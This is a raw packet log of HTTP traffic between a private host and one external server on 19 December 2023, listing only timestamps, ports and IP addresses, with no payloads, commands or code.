Dec 19, 2023 03:22:22.246449947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.246491909 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.246689081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.246773958 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.246815920 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.246856928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.246923923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.246967077 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.246989012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.247054100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.247095108 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.247126102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.247309923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.247353077 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.247414112 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.247512102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.247559071 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.247678041 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.247771025 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.247808933 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.247865915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.247957945 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.248002052 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.248044968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.248131990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.248172998 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.248296022 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.248467922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.248512030 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.248682022 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.248857975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.248883963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.248910904 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.248982906 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.249026060 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.249058962 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.249150038 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.249192953 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.249238014 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.249310970 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.249352932 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.249371052 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.249403954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.249439955 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.249556065 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.249656916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.249697924 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.249727011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.249825001 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.249871016 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.249913931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.250008106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.250050068 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.250092030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.250180006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.250222921 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.250276089 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.250437975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.250480890 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.250571012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.250677109 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.250720024 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.250746965 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.250847101 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.250890017 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.250910044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.251000881 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.251048088 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.251091957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.251172066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.251211882 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.251255989 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.251327038 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.251367092 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.251410961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.251550913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.251585007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.251604080 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.251682043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.251725912 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.251769066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.251847982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.251889944 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.251936913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.252022982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.252064943 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.252126932 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.252218008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.252260923 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.252305031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.252357006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.252398968 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.252418995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.252482891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.252526045 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.252554893 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.252624035 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.252669096 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.252738953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.252829075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.252868891 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.252918959 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.252983093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.253026962 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.253057003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.253112078 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.253160954 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.253202915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.253287077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.253329039 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.253353119 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.253421068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.253463984 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.253473043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.253534079 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.253576994 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.253622055 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.253695011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.253737926 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.253796101 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.253882885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.253921986 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.253967047 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.254057884 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.254106998 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.254151106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.254224062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.254266024 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.254338026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.254424095 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.254465103 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.254545927 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.254651070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.254692078 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.254743099 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.254825115 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.254863977 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.254908085 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.255017996 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.255059004 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.255145073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.255254030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.255291939 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.255367041 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.255470037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.255511045 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.255554914 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.255625963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.255666018 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.255712032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.255826950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.255867004 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.255892038 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.310933113 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.504910946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.505095959 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.505145073 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.505244017 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.505359888 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.505459070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.505515099 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.505548954 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.505548954 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.505614996 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.505691051 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.505733967 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.505784035 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.505877018 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.505917072 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.506043911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.506117105 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.506158113 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.506211996 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.506274939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.506314039 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.506382942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.506460905 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.506505013 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.506551981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.506639004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.506678104 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.506701946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.506851912 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.506887913 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.506939888 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.507023096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.507066011 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.507175922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.507235050 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.507276058 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.507303953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.507369995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.507411003 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.507412910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.507503986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.507545948 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.507575035 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.507668972 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.507710934 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.507774115 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.507847071 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.507888079 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.507931948 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.508708000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.508750916 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.508805990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.508889914 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.508929968 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.508971930 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.509051085 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.509090900 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.509141922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.509238005 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.509275913 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.509324074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.509396076 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.509438992 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.509489059 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.509601116 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.509640932 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.509676933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.509782076 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.509820938 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.509872913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.509970903 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.510010004 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.510036945 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.510139942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.510175943 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.510220051 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.510291100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.510333061 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.510375977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.510449886 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.510488033 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.510518074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.510626078 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.510665894 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.510713100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.510787010 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.510823965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.510890007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.510960102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.511006117 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.511048079 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.511121035 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.511158943 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.511212111 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.511296034 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.511336088 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.511379957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.511446953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.511488914 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.511544943 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.511607885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.511647940 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.511806011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.511915922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.511957884 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.512022972 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.512108088 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.512149096 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.512221098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.512362003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.512402058 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.512469053 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.512543917 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.512588024 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.512630939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.512725115 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.512765884 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.512844086 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.512938023 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.512975931 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.513190031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.513278961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.513323069 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.513907909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.514013052 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.514066935 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.514123917 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.514204979 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.514255047 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.514303923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.514399052 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.514440060 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.514465094 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.514559984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.514599085 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.514693975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.514784098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.514826059 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.514873028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.514957905 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.515002012 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.515105009 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.515239954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.515281916 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.515331030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.515434980 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.515474081 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.515618086 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.515783072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.515825033 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.515853882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.515944004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.515986919 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.516016006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.516083956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.516124964 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.516155005 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.516242981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.516285896 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.516340017 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.516413927 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.516458988 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.516525984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.516652107 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.516693115 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.516747952 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.516838074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.516874075 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.516989946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.517105103 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.517148972 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.517191887 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.517275095 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.517317057 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.517412901 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.517533064 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.517575979 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.517633915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.517718077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.517760992 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.517791033 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.517891884 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.517932892 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.517980099 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.518047094 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.518088102 CET	49738	80	192.168.2.4	91.215.85.17
